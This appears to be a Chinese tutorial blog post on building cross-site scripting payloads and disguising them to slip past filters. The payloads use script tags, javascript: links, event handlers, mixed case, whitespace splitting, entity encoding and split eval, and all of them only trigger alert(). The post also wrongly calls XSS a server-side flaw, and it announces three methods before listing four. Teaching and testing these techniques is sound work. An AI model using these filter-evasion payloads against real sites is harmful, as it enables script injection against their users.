XSS的构造与变形

本文深入解析了XSS(跨站脚本)攻击,包括其在OWASP TOP10中的地位,详细介绍了XSS的四种构造方法及六种变形手段,如利用<>构造HTML/JS、伪协议、事件触发等,以及大小写转换、引号使用等变形技巧。

※XSS:

XSS 是OWASP TOP10之一的漏洞,被称为跨站脚本攻击,是发生在服务器的漏洞,

常出现于微博、留言板、聊天室等手机用户输入的地方,都有可能被注入XSS代码。

※XSS的构造(现在有三种方法)

1.利用<>构造HTML/JS

在测试页面,提交参数<script>alert(xss)</script>

2.伪协议

使用JavaScript:伪协议的方式构造XSS

在测试页面:提交参数 <a href="javascript:alert(/xss/)"> hi!</a>

点击后弹出弹窗

3.产生自己的事件

在网页中发生很多事件,比如鼠标移动,键盘输入等,JS可以对这些事件进行响应,所以我们可以通过事件触发JS函数从而触发XSS.

 如输入<img src='./smile.jpg' onmouseover='alert(/xss/)'>时这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS 代码。
 
单行文本框的键盘点击事件,<input type="text" onkeydown="alert(/xss/)">,当点击键盘任意一个按键的时候出发。

4. 其他标签以及手法(H5)
    <svg onload="alert(/xss/)">

 <input onfocus=alert(/xss/) autofocus>

================================================================================================

※XSS的变形(六种)

1. 大小写转换

  可以将payload 进行大小写转化。如:

<Img sRc='#' Onerror="alert(/xss/)" />

<a hREf="javaScript:alert(/xss/)">click me</a>

 2. 引号的使用---HTML 语言中对引号的使用不敏感.如“
<img src='#' onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/) />

3. ' /'代替空格 可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />

4. 回车我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
<A hREf="j
avas    cript:alert(/xss/)">click me!</a>

5.  对标签属性值进行转码
    可以对标签属性值进行转码,用来绕过过滤。
如:<A hREf="j&#97;v&#x61;script:alert(/xss/)">click me!</a>

6. 拆分跨站
    <script>z='alert'</script>
    <script>z=z+'(/xss/)'</script>
    <script>eval(z)</script>


 

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值